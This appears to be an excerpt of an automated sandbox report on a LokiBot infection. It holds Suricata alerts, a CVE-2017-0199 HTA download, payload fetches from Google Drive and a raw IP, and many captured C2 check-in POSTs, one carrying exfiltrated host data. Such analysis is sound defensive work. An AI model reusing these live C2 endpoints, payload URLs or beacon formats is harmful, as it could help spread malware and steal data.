Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49242
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49229
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49241
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49244 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49244
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49248
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49216
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49230
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49218
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 198.46.178.151:80 -> 192.168.2.22:49175
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 198.46.178.151:80 -> 192.168.2.22:49187
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49250
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.185.97:443 -> 192.168.2.22:49172
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.185.97:443 -> 192.168.2.22:49174

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/SMPLLLK.txt HTTP/1.1Host: 198.46.178.151Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/SMPLLLK.txt HTTP/1.1Host: 198.46.178.151Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.74.191 104.21.74.191
Source: Joe Sandbox View	IP Address: 94.156.177.220 94.156.177.220

Source: Joe Sandbox View	ASN Name: NET1-ASBG NET1-ASBG
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49162 -> 198.46.178.151:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 198.46.178.151:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49171 -> 198.46.178.151:80

Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/hb/creatednewthingsforme.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.151Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/hb/creatednewthingsforme.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 198.46.178.151If-Range: "2a42f-625aa51e80fe9"
Source: global traffic	HTTP traffic detected: GET /65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.151Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/hb/creatednewthingsforme.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Wed, 30 Oct 2024 04:41:49 GMTConnection: Keep-AliveHost: 198.46.178.151If-None-Match: "2a42f-625aa51e80fe9"
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: closeData Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 06 00 01 00 01 00 00 00 01 00 30 00 00 00 44 00 45 00 34 00 32 00 32 00 39 00 46 00 43 00 46 00 39 00 37 00 46 00 35 00 38 00 37 00 39 00 46 00 35 00 30 00 46 00 38 00 46 00 44 00 33 00 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
